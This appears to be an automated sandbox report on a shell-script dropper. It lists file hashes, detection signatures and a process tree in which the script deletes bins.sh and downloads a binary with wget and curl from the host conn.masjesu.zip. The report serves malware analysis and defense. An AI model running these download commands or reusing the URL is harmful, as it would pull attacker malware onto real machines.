Analysis

  • max time kernel
    149s
  • max time network
    2s
  • platform
    debian-9_armhf
  • resource
    debian9-armhf-20240418-en
  • resource tags

    arch:armhfimage:debian9-armhf-20240418-enkernel:4.9.0-13-armmp-lpaelocale:en-usos:debian-9-armhfsystem
  • submitted
    21-11-2024 08:47

General

  • Target

    ea6218dddd55f83c7a5ebd320b1a0f5a31a7ca34ae8b5cb1f46ce333442e7c2d.sh

  • Size

    10KB

  • MD5

    5043473f1d1be685c2c3cd5616d93b8b

  • SHA1

    24aa735b4efb07ddf576d7af72a4cc3acbdf3d90

  • SHA256

    ea6218dddd55f83c7a5ebd320b1a0f5a31a7ca34ae8b5cb1f46ce333442e7c2d

  • SHA512

    b59ae01412c9c4828947586654be13f48fb5cda3a2ff42c57fe636520260f3f8f5975bdbe4b4883cfed3c1014cf2b4d73cf196deafe7accc98e9a341adb4f23b

  • SSDEEP

    192:4hja2joogwd9ovzbVksHC+OZ2qZEEidvKa2joozCd9ovz1ksHC+W2qZEEx:A0TMiX

Score
4/10

Malware Config

Signatures

  • Checks CPU configuration 1 TTPs 1 IoCs

    Checks CPU information which indicate if the system is a virtual machine.

  • Reads runtime system information 2 IoCs

    Reads data from /proc virtual filesystem.

Processes

  • /tmp/ea6218dddd55f83c7a5ebd320b1a0f5a31a7ca34ae8b5cb1f46ce333442e7c2d.sh
    /tmp/ea6218dddd55f83c7a5ebd320b1a0f5a31a7ca34ae8b5cb1f46ce333442e7c2d.sh
    1⤵
      PID:637
      • /bin/rm
        /bin/rm bins.sh
        2⤵
          PID:640
        • /usr/bin/wget
          wget http://conn.masjesu.zip/bins/tQIuvrbbio7fzWhKOlKGNsnIR7BXb2ckK0
          2⤵
            PID:644
          • /usr/bin/curl
            curl -O http://conn.masjesu.zip/bins/tQIuvrbbio7fzWhKOlKGNsnIR7BXb2ckK0
            2⤵
            • Checks CPU configuration
            • Reads runtime system information
            PID:650

        Network

        MITRE ATT&CK Enterprise v15

        Replay Monitor

        Loading Replay Monitor...

        Downloads